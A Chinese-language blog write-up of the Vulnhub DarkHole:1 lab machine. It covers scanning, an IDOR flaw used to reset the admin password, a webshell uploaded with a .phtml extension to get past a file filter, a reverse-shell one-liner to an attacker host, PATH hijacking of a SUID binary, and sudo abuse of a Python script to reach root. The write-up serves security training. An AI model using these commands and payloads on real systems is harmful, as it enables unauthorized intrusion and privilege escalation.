【Vulnhub】DarkHole:1

DarkHole:1

Description:

​ Difficulty: Easy

​ It's a box for beginners, but not easy, Good Luck

​ Hint: Don't waste your time For Brute-Force

信息收集

fscan 扫描内网资产,发现靶机IP:192.168.1.5

./fscan -h 192.168.1.1-255

image-20241018193653530

nmap 扫描端口和服务

nmap -A -sV -p- 192.168.1.5

image-20241018193948423

开放了 22 和 80 端口

访问 80 页面

image-20241018194220107

对这个 url 进行目录扫描

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.5/FUZZ

image-20241019032215249

没结果。。。换个工具 dirsearch

dirsearch -u http://192.168.1.5

image-20241019032520788

那么回到最开始的主页面,右上角有一个登录页面

先进入到 /config/ 目录查看,发现有一个 database.php 文件,根据以往经验,先猜测可能是有文件包含漏洞

image-20241019032821548

然后查看 /dashboard.php 页面,显示 “Not Allowed To access”

查看 /js/ 目录 ,发现有 js 文件泄露,先记着,说不定可以通过js找到一些漏洞

image-20241019032838791

然后就是分别 login.php 和 register.php 这两个登录和注册页面

image-20241019033107961

image-20241019033119910

最后是一个 /upload/ 目录,里面有一张图片

image-20241019033215386

漏洞利用

先用 Burp Suite 试试登陆页面弱口令

尝试了三万次弱口令,没结果。。。

我突然想起来,开头的 Description 里不是建议不要用暴力破解浪费时间了。。。淦

然后不是有个注册页面么,注册个账号试试,看看有没有越权之类的

注册了用户,用户名/密码:admin123/admin123,登陆进去

image-20241020023943585

注意到 url 里面是这样的 192.168.1.5/dashboard.php?id=2

我们把 id 改成 1 试试,发现报错,没权限

image-20241020024622420

但是证明了是存在其他用户的

看到右边有更改密码功能,不妨试试,抓一个更改密码的包,看看有没有可以尝试的地方

image-20241020024921264

这里我输入要更改的密码是 admin,所以 password 显示的admin,但是我当前的id是2,是不是说,我将post的数据中id 改为其他,就能更改其他用户的密码呢

image-20241020025133061

果然成功了。

id=1 用户一般就是 admin 吧,而且之前我也在注册页面测试过是有 admin 这个用户的,那么就用 admin/admin 登录

image-20241020025308338

成功!

这里出现了与普通用户不一样的上传功能

我这里用 Godzilla 生成一个 php shell,文件名为1.php

image-20241020025753316

上传并且抓包

image-20241020025950250

这里出现了报错:Sorry,Allow Ex:jpg,png,gif

给 php 名加个 jpg 后缀试试

image-20241020030211109

在“Upload File Successful”这句话后面的html代码显示暴漏的上传的目录为 upload/1.php.jpg,而且记不记得我们之前扫描目录的截图里面有个 /upload/ 目录,进去看看,发现已经上传到这里了

image-20241020030349667

用 Godzilla 连接shell,失败了,点击 1.php.jpg 进去显示报错

image-20241020190940010

证明有过滤校验之类的代码

在某些特定的环境中,某些特殊的后缀名仍然会被当做php文件解析。例如

Php|php2|php3|php4|php5|php6|php7|pht|phtm|phtml

1、Apache Web服务器。

​ 在 Apache 中,通常使用 AddType 指令来配置文件类型的解析。如果服务器配置了支持其他后缀名的 PHP 解析,像 .pht, .phtml, .php5, 等都可以被作为 PHP 文件执行。

​ 例如,在 Apache 配置文件或 .htaccess 文件中,可能会看到类似这样的配置:

AddType application/x-httpd-php .php .phtml .pht

2、Nginx Web 服务器。

​ 在 Nginx 中,通常在 nginx.conf 文件中配置如何处理请求。如果配置了支持其他后缀的 PHP,类似于 Apache,Nginx 也可以解析这些后缀。

例如:

location ~ \.php$ {
    include fastcgi_params;
    fastcgi_pass 127.0.0.1:9000;
    fastcgi_index index.php;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}

这里也可以扩展来支持 .phy 等后缀

3、PHP-FPM

​ 如果使用 PHP-FPM,可能会在 php-fpm.conf 或相关的配置文件中配置支持的文件后缀。在这种情况下,如果没有明确限制,其他后缀也可能被解析为PHP

4、服务器安全策略

​ 一些服务器可能没有严格的 MIME 类型或后缀名限制,这可能会导致一些意想不到的文件后缀也被当做 PHP 处理。特别是在开发环境或测试环境中,服务器的配置可能更宽松。

5、用户上传

​ 如果允许用户上传文件,可能会上传后缀名为 .pht, .phtml 等的文件,并且如果服务器没有适当的配置,它们可能会被解析为 PHP 代码。

因此,我们将文件后缀修改为 .phtml 上传,并且连接shell

image-20241021003927721

成功!

image-20241021004031372

提权

cat /etc/passwd

image-20241021004247857

这里可以看到 darkhole 和 john 是具有登录 /bin/bash 权限的,所以要想办法提权到这两个用户

然后就在 /home/john/ 用户目录看到 user.txt 文件,但是没有读取权限

image-20241021004448186

但是 user.txt 文件上方还有一个 toto 文件具有 r(读)和 x(执行)权限

执行一下试试

image-20241021004752265

发现和 id 命令是一样的结果,说明是 id 的副本文件,结果表明用 john 身份执行了 id 命令

​ 我们可以尝试利用这个特性,将 /bin/bash 写入 /tmp/id 文件中(这个文件实际上变成了一个简单的脚本,执行时会启动一个新的 Bash shell),然后给予执行权限,最后将文件路径添加到 PATH 环境变量的最前面(这样在终端输入命令时,系统会首先在 tmp 目录中查找可执行文件。

echo '/bin/bash' > /tmp/id;chmod +x /tmp/id;export PATH=/tmp:$PATH

但是我这里运行完之后没成功

image-20241021010629222

想了另外的方法,反弹 shell 到 kali 上

kali 先监听

nc -lvp 7890

执行反弹 shell 命令

bash -c 'bash -i >& /dev/tcp/192.168.1.8/7890 0>&1'

然后再执行上面的三段payload,./toto 开一个新bash后,cat user.txt 成功

image-20241021010822885

并且查看同目录中的其他文件 cat password 得到 root123 john的密码

登录

ssh john@192.168.1.5

image-20241021011229847

在目录中可以看到有个名为 file.py 的python脚本,然后看到系统是有 python3 的

image-20241021011824880

sudo -l 看到并且可以 root 执行该文件

image-20241021011926793

试试,

image-20241021012004141

确实可以,但是文件内好像没内容。那我们就写进去呗

echo 'import os; os.system("/bin/bash")' > file.py

写进脚本(root 运行 /bin/bash )再次运行

image-20241021012345937

成功root!cat root.txt

image-20241021012438106

总结

posted @ 2024-10-21 01:28  酷比灯  阅读(18)  评论(0)    收藏  举报